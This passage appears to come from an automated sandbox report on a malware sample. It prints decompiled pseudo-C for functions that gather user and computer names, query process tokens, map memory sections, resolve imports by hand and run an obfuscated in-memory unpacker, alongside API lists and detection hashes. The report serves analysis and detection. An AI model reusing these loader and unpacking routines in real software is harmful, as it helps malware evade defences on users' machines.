0x02672787
0x02672789
0x0267278c
0x0267278e
0x02672791
0x02672794
0x0267279e
0x026727a2
0x026727a6

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 026726D3
RtlAllocateHeap.NTDLL(00000000,?), ref: 026726EA
GetUserNameW.ADVAPI32(00000000,?), ref: 026726F7
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,026723D9), ref: 02672718
GetComputerNameW.KERNEL32(00000000,00000000), ref: 0267273F
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 02672753
GetComputerNameW.KERNEL32(00000000,00000000), ref: 02672760
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,026723D9), ref: 0267277E

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: 148bd4fb7955f113ed8d7ad4560059702d65b3c97bd9b3808a01e0c277c08c5a
Instruction ID: a8f476017632332fa9ee38b64ec6b397b86286c7b388a56d23eaa7f032fbadf5
Opcode Fuzzy Hash: 148bd4fb7955f113ed8d7ad4560059702d65b3c97bd9b3808a01e0c277c08c5a
Instruction Fuzzy Hash: D5314B71A40205EFDB15DF79ED90A6EF7F9EF48310F205829E905D7210DB30EA958B50

Uniqueness

Uniqueness Score: -1.00%

Function 026783B7, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E026783B7(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E02672049(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E02679039(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x026783c4
0x026783c5
0x026783c6
0x026783c7
0x026783c8
0x026783cc
0x026783d3
0x026783e2
0x026783e5
0x026783e8
0x026783ef
0x026783f2
0x026783f5
0x026783f8
0x026783fb
0x02678406
0x02678408
0x02678411
0x02678419
0x0267841b
0x0267842d
0x02678437
0x0267843b
0x0267844a
0x0267844e
0x02678457
0x0267845f
0x0267845f
0x02678461
0x02678461
0x02678469
0x0267846f
0x02678473
0x02678473
0x0267847e

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 026783FE
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 02678411
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 0267842D

Part of subcall function 02672049: RtlAllocateHeap.NTDLL(00000000,00000000,02677E50), ref: 02672055

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 0267844A
memcpy.NTDLL(00000000,00000000,0000001C), ref: 02678457
NtClose.NTDLL(?), ref: 02678469
NtClose.NTDLL(00000000), ref: 02678473

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: 59df08f846ee7d9f13fee9359a0d111e6c10d6924cfd3dc4cf6b831a6e6af23e
Instruction ID: bb7abd42671f7c4fc3d248c585091dee75d37257700efddc77e5d6488b8d0774
Opcode Fuzzy Hash: 59df08f846ee7d9f13fee9359a0d111e6c10d6924cfd3dc4cf6b831a6e6af23e
Instruction Fuzzy Hash: 482116B2A50218BFDB019FA5EC45EDEBFBDEF18740F104026F900A6110D7B19A94DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 10001EB5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E10001EB5(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E10001D9F(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x10001ebe
0x10001ec5
0x10001ec6
0x10001ec7
0x10001ec8
0x10001ec9
0x10001eda
0x10001ede
0x10001ef2
0x10001ef5
0x10001ef8
0x10001eff
0x10001f02
0x10001f09
0x10001f0c
0x10001f0f
0x10001f12
0x10001f17
0x10001f52
0x10001f19
0x10001f1c
0x10001f22
0x10001f27
0x10001f2b
0x10001f49
0x10001f2d
0x10001f34
0x10001f42
0x10001f42
0x10001f2b
0x10001f5a

APIs

NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,76D24EE0,00000000,00000000,?), ref: 10001F12

Part of subcall function 10001D9F: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,10001F27,00000002,00000000,?,?,00000000,?,?,10001F27,00000002), ref: 10001DCC

memset.NTDLL ref: 10001F34

Strings

@, xrefs: 10001F02

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Section$CreateViewmemset
String ID: @
API String ID: 2533685722-2766056989
Opcode ID: ee04d3b80f2aa96c2028224801f0ff00ef799990c629de64b363f9b0c8c139ed
Instruction ID: 22cae9f40a45f0817b401b8017966300679b6c07c9eb41be9fd604c10ac2f23b
Opcode Fuzzy Hash: ee04d3b80f2aa96c2028224801f0ff00ef799990c629de64b363f9b0c8c139ed
Instruction Fuzzy Hash: 4821D8B6D00209AFDB11DFA9C8849EEFBB9EB48354F10447AE615F7210D735AA498B60

Uniqueness

Uniqueness Score: -1.00%

Function 0259348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E0259348F(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				void* __ebp;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				signed int _t205;
				signed int _t211;
				void* _t212;
				signed int _t215;
				signed int _t218;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t226;
				void* _t236;
				void* _t243;
				void* _t245;
				signed int _t247;
				signed int _t259;
				long _t262;
				long _t265;
				signed int _t270;
				signed int _t275;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				void* _t286;
				signed int _t287;
				void* _t292;
				void* _t293;
				DWORD* _t294;
				signed int _t299;
				signed int _t302;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t313;
				signed int _t320;
				long _t325;
				signed int* _t333;

				_t299 = __esi;
				_t275 = __edi;
				_t258 = __edx;
				_t229 = __ecx;
				_t223 = __ebx;
				if( *(__ebx + 0x41820f) == 0) {
					_push(_v20);
					 *_t333 = __ecx;
					_push(__edi);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 | __edx;
					_t195 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_v20 = __ecx;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) & 0x00000000;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) | __ecx ^ _v20 | _t195;
					_pop(_t258);
					_pop(_t229);
				}
				_push(_t325);
				 *_t333 =  *_t333 - _t325;
				 *_t333 =  *_t333 ^ _t258;
				if( *(_t223 + 0x418637) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 | _t229;
					_t195 =  *((intOrPtr*)(_t223 + 0x45d024))(_v12);
					_v12 = _t299;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) & 0x00000000;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) | _t299 - _v12 ^ _t195;
					_t299 = _v12;
					_pop(_t229);
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t333 =  *_t333 ^ _t229;
				if( *(_t223 + 0x4181e7) == 0) {
					_v32 =  *((intOrPtr*)(_t223 + 0x418351));
					_t325 = _t325;
					_v40 =  *((intOrPtr*)(_t223 + 0x418073));
					_t320 = _t299;
					_t275 = _v44;
					_v44 =  *((intOrPtr*)(_t223 + 0x418147));
					_t195 =  *((intOrPtr*)(_t223 + 0x45d044))(_t275, _t275, _t325, _t325);
					_v20 = _t320;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) & 0x00000000;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) | _t320 - _v20 | _t195;
					_t299 = _v20;
				}
				_v12 = _t275;
				_t197 = _t195 & 0x00000000 | _t275 ^ _v12 | _a4;
				_t278 = _v12;
				if( *(_t223 + 0x4182f3) == 0) {
					_v16 = _v16 & 0x00000000;
					_v32 = _v32 + _t197;
					_t222 =  *((intOrPtr*)(_t223 + 0x45d024))(_v16);
					_v12 = _t229;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) & 0x00000000;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) | _t229 & 0x00000000 ^ _t222;
					_t229 = _v12;
					_pop(_t197);
				}
				_t198 = _t197 +  *((intOrPtr*)(_t197 + 0x3c));
				if( *(_t223 + 0x418577) == 0) {
					_v32 = _v32 - _t223;
					_v32 = _v32 + _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x418197));
					_v44 = _v44 & 0x00000000;
					_v44 = _v44 ^ _t278;
					_t229 = _v48;
					_v48 =  *((intOrPtr*)(_t223 + 0x418193));
					_v52 =  *((intOrPtr*)(_t223 + 0x418320));
					_t221 =  *((intOrPtr*)(_t223 + 0x45d048))(_v40, _t325, _t229, 0, _t223);
					_v12 = _t258;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) & 0x00000000;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) | _t258 - _v12 ^ _t221;
					_t258 = _v12;
					_t198 = _t198;
				}
				_v20 = 0;
				_push(_v20);
				_v32 = _v32 | _t198;
				if( *(_t223 + 0x418583) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 ^ _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x41848b));
					_v44 =  *((intOrPtr*)(_t223 + 0x4180ab));
					_t278 = _t278;
					_v48 = _t229;
					_v52 =  *((intOrPtr*)(_t223 + 0x4185df));
					_t299 = _t299;
					_v56 =  *((intOrPtr*)(_t223 + 0x418263));
					_t270 = _t258;
					_t218 =  *((intOrPtr*)(_t223 + 0x45d048))(_t229, _v16, _t229, _t198, _v12);
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) & 0x00000000;
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) ^ _t270 & 0x00000000 ^ _t218;
					_t258 = _t270;
					_t198 = _t278;
				}
				_v12 = _t299;
				_t280 = _t278 & 0x00000000 | _t299 & 0x00000000 ^ _t198;
				_t302 = _v12;
				if( *(_t223 + 0x418117) == 0) {
					_t215 =  *((intOrPtr*)(_t223 + 0x45d024))();
					_v12 = _t302;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) & 0x00000000;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) ^ _t302 ^ _v12 ^ _t215;
					_t302 = _v12;
				}
				_t199 =  *(_t280 + 6) & 0x0000ffff;
				if( *((intOrPtr*)(_t223 + 0x41829b)) == 0) {
					_v16 = 0;
					 *_t333 =  *_t333 + _t199;
					_push( *((intOrPtr*)(_t223 + 0x45d024))(_v16));
					_pop( *_t108);
					_push(_v16);
					_pop( *_t110);
					_pop(_t199);
				}
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ _t302 ^  *_t333 ^ _t199;
				_t305 = _t302;
				if( *(_t223 + 0x41806f) == 0) {
					_push(_t325);
					 *_t333 =  *(_t223 + 0x4182df);
					_push(_t280);
					_push( *_t333);
					_v40 =  *((intOrPtr*)(_t223 + 0x418340));
					_pop(_t325);
					_v44 =  *((intOrPtr*)(_t223 + 0x41817b));
					_t243 = _t229;
					_v48 =  *((intOrPtr*)(_t223 + 0x4185ff));
					_t245 = _t243;
					_v52 =  *((intOrPtr*)(_t223 + 0x4184eb));
					_t247 = _t245;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d048))(_t325, _t243, _t199);
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) & 0x00000000;
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) | _t247 ^ _v56 ^ _t199;
					_t229 = _t247;
				}
				_push(_t258);
				 *_t333 =  *_t333 - _t258;
				 *_t333 = _t280;
				if( *(_t223 + 0x4180b7) == 0) {
					_t199 =  *((intOrPtr*)(_t223 + 0x45d024))();
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) & 0x00000000;
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) | _t229 - _v40 ^ _t199;
					_t229 = _t229;
				}
				_v20 = _t305;
				_t259 =  *(_t280 + 0x54);
				_t308 = _v20;
				if( *(_t223 + 0x41812b) == 0) {
					_v12 = _v12 & 0x00000000;
					_v40 = _v40 ^ _t259;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d020))(_v12);
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) & 0x00000000;
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) | _t280 & 0x00000000 | _t199;
					_t280 = _t280;
					_pop(_t259);
				}
				_v12 = _t199;
				_t282 = _t280 & 0x00000000 ^ _t199 & 0x00000000 ^  *(_t223 + 0x4180f7);
				_t202 = _v12;
				if( *(_t223 + 0x4181df) == 0) {
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t259;
					_v48 =  *((intOrPtr*)(_t223 + 0x418444));
					_v16 = 0;
					_v52 = _v52 | _t223;
					_t202 =  *((intOrPtr*)(_t223 + 0x45d040))(_v16, _t259, 0, _t308);
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) & 0x00000000;
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) | _t229 - _v56 | _t202;
					_t229 = _t229;
					_pop(_t259);
				}
				_v40 = _t259;
				_t309 = _a4;
				_t262 = 0;
				_v16 = _t282;
				_t231 = _t229 & 0x00000000 | _t282 - _v16 | _t262;
				if(_v16 != _t309) {
					do {
						asm("movsb");
						_t231 = _t231 - 1;
					} while (_t231 != 0);
					_v12 = _t309;
					_t294 =  *(_t223 + 0x4180f7);
					_t309 = _v12;
					 *(_t223 + 0x4184cf) = 0x40;
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t223 + 0x004184cf;
					_v44 = 2;
					_v48 = _v48 - _t325;
					_v48 = _v48 | _t262;
					_v16 = _v16 & 0x00000000;
					_v52 = _v52 ^ _t294; // executed
					_t202 = VirtualProtect(_v16, _t325, _t262, _t294);
				}
				_pop(_t286);
				_t287 = _t286 + 0xf8;
				_t226 = _t223;
				do {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					 *_t333 =  *_t333 | _t287;
					_v16 = _t202;
					_t205 = _v16;
					_v16 = _t205;
					_t309 = (_t309 & 0x00000000 ^ _t202 & 0x00000000 ^ _a4) +  *((intOrPtr*)(_t287 + 0x14));
					_t202 = memcpy( *((intOrPtr*)(_t287 + 0xc)) +  *(_t226 + 0x4180f7), _t309, _t231 & 0x00000000 ^ _t205 & 0x00000000 ^  *(_t287 + 0x10));
					_t333 =  &(_t333[3]);
					_t231 = 0;
					_pop(_t292);
					_t287 = _t292 + 0x28;
					_t226 = _t226;
					_t187 =  &_v8;
					 *_t187 = _v8 - 1;
				} while ( *_t187 != 0);
				_pop(_t293);
				_push(_t325);
				_t211 = (_t202 & 0x00000000 | _t325 - _v32 |  *(_t293 + 0x28)) +  *(_t226 + 0x4180f7);
				_v32 = 0;
				 *(_t226 + 0x418418) = 0 ^ _t211;
				_t236 = 0;
				_v12 = _t262;
				_t313 = _t309 & 0x00000000 | _t262 & 0x00000000 ^  *(_t226 + 0x4180f7);
				_t265 = _v12;
				if(_t313 > 0) {
					_push(_t226);
					_v32 = _v32 ^ _t226;
					_v32 = _v32 | _t313;
					_t212 = E025920EE(_t226, _t236, _t265, _t293, _t313);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 ^ _t313;
					_t211 = E02595AF6(_t212, _t226, _t236, _t265, _t293, _t313, _t236);
				}
				return _t211;
			}

0x0259348f
0x0259348f
0x0259348f
0x0259348f
0x0259348f
0x0259349c
0x0259349e
0x025934a1
0x025934a4
0x025934a5
0x025934a9
0x025934ac
0x025934b2
0x025934ba
0x025934c1
0x025934ca
0x025934cb
0x025934cb
0x025934cc
0x025934cd
0x025934d0
0x025934da
0x025934dc
0x025934e3
0x025934e6
0x025934ec
0x025934f4
0x025934fb
0x02593501
0x02593504
0x02593504
0x02593505
0x02593509
0x0259350c
0x02593516
0x02593520
0x02593524
0x0259352e
0x02593532
0x0259353a
0x0259353a
0x0259353d
0x02593543
0x0259354b
0x02593552
0x02593558
0x02593558
0x0259355b
0x02593567
0x02593569
0x02593573
0x02593575
0x0259357c
0x0259357f
0x02593585
0x0259358d
0x02593594
0x0259359a
0x0259359d
0x0259359d
0x0259359e
0x025935a8
0x025935ab
0x025935ae
0x025935ba
0x025935be
0x025935c2
0x025935cc
0x025935cc
0x025935d6
0x025935d9
0x025935df
0x025935e7
0x025935ee
0x025935f4
0x025935f7
0x025935f7
0x025935f8
0x025935ff
0x02593602
0x0259360c
0x0259360e
0x02593615
0x0259361f
0x0259362a
0x0259362e
0x02593632
0x0259363d
0x02593641
0x0259364a
0x0259364e
0x0259364f
0x0259365b
0x02593662
0x02593668
0x02593669
0x02593669
0x0259366a
0x02593675
0x02593677
0x02593681
0x02593683
0x02593689
0x02593691
0x02593698
0x0259369e
0x0259369e
0x025936a1
0x025936ac
0x025936ae
0x025936b8
0x025936c1
0x025936c2
0x025936c5
0x025936c8
0x025936ce
0x025936ce
0x025936d5
0x025936d9
0x025936dc
0x025936e4
0x025936e6
0x025936ed
0x025936f0
0x025936f1
0x025936f8
0x025936fc
0x02593705
0x02593709
0x02593712
0x02593716
0x0259371f
0x02593723
0x02593724
0x02593730
0x02593737
0x0259373d
0x0259373d
0x0259373e
0x0259373f
0x02593742
0x0259374c
0x0259374e
0x0259375a
0x02593761
0x02593767
0x02593767
0x02593768
0x02593770
0x02593772
0x0259377c
0x0259377e
0x02593785
0x02593788
0x02593794
0x0259379b
0x025937a1
0x025937a2
0x025937a2
0x025937a3
0x025937b2
0x025937b4
0x025937be
0x025937c1
0x025937c5
0x025937d1
0x025937d4
0x025937de
0x025937e1
0x025937ed
0x025937f4
0x025937fa
0x025937fb
0x025937fb
0x025937fe
0x02593806
0x02593808
0x02593809
0x02593814
0x0259381b
0x0259381d
0x0259381d
0x0259381e
0x0259381e
0x02593821
0x0259382c
0x0259382e
0x02593831
0x02593842
0x02593846
0x0259384a
0x02593852
0x02593855
0x02593858
0x0259385f
0x02593862
0x02593862
0x02593868
0x02593872
0x02593874
0x02593875
0x02593875
0x02593879
0x0259387c
0x0259387f
0x0259388d
0x02593890
0x025938a1
0x025938ad
0x025938ad
0x025938ad
0x025938af
0x025938b9
0x025938bb
0x025938bc
0x025938bc
0x025938bc
0x025938c1
0x025938c2
0x025938cf
0x025938d7
0x025938de
0x025938e4
0x025938e5
0x025938f4
0x025938f6
0x025938fc
0x025938fe
0x025938ff
0x02593902
0x02593905
0x0259390b
0x0259390f
0x02593912
0x02593912
0x0259391a

APIs

VirtualProtect.KERNELBASE(00000000,?,00000000,?,?,00000000,00000000), ref: 02593862

Strings

@, xrefs: 02593831

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction ID: d0556099a8937dffce87eca05a7ec9ea417884a9beb51e8b734833249fc9a746
Opcode Fuzzy Hash: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction Fuzzy Hash: E0F15C72804204EFEF049F64C9897AEBBF5FF84715F1984ADDC88AB145CB782550CB68

Uniqueness

Uniqueness Score: -1.00%

Function 10001745, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001745(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x1000414c;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x1b4cdd98));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71); // executed
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x63699bc3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x63699b44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x63699bc3;
										}
										 *_v16 = _t55;
										_t58 = 0x725990f8 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x9c9664bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x10001745
0x1000174e
0x10001753
0x10001759
0x10001762
0x10001768
0x1000176a
0x1000176d
0x10001772
0x10001779
0x10001779
0x1000177d
0x10001785
0x10001788
0x00000000
0x00000000
0x1000178e
0x10001798
0x1000179a
0x1000179d
0x100017a0
0x100017a4
0x100017ac
0x100017ae
0x100017b1
0x10001819
0x10001819
0x1000181d
0x00000000
0x00000000
0x100017b6
0x100017bc
0x100017be
0x100017d1
0x100017d4
0x100017d4
0x100017d4
0x100017d8
0x100017c0
0x100017c0
0x100017c8
0x100017ca
0x00000000
0x00000000
0x00000000
0x00000000
0x100017ca
0x100017b8
0x100017b8
0x100017cc
0x100017cc
0x100017cc
0x100017db
0x100017de
0x100017e0
0x100017e7
0x100017e2
0x100017e2
0x100017e2
0x100017ef
0x100017f5
0x100017f7
0x10001827
0x100017f9
0x100017f9
0x100017fc
0x100017fe
0x10001806
0x10001806
0x1000180b
0x1000180d
0x10001814
0x10001816
0x10001816
0x10001816
0x00000000
0x10001816
0x00000000
0x100017f7
0x100017a6
0x100017a8
0x100017aa
0x00000000
0x00000000
0x100017aa
0x1000182a
0x1000182a
0x10001831
0x10001836
0x00000000
0x00000000
0x1000183c
0x10001847
0x00000000
0x10001847
0x1000183e
0x1000183e
0x10001844
0x00000000
0x10001844
0x10001772
0x10001848
0x1000184d

APIs

LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 1000177D
GetProcAddress.KERNEL32(?,00000000), ref: 100017EF

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 44a8695f59bde02a6b04981e26f2814c296b5372f7ca6d95004bada70fc4ba09
Instruction ID: c607def5a2bc0e5299d97bb95015c1db0b928527211c0f3006954d548cbcd348
Opcode Fuzzy Hash: 44a8695f59bde02a6b04981e26f2814c296b5372f7ca6d95004bada70fc4ba09
Instruction Fuzzy Hash: 78313675A0420A9FEB55CF99C880AEEB7F8FF04384F258069D805E7248EB70DA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10001D9F, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E10001D9F(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x10001db1
0x10001db7
0x10001dc5
0x10001dcc
0x10001dd1
0x10001dd7
0x00000000
0x10001dd8
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,10001F27,00000002,00000000,?,?,00000000,?,?,10001F27,00000002), ref: 10001DCC

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
